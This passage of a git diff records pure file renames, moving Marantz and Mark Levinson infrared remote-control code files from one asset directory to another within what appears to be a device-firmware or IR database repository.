b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir diff --git 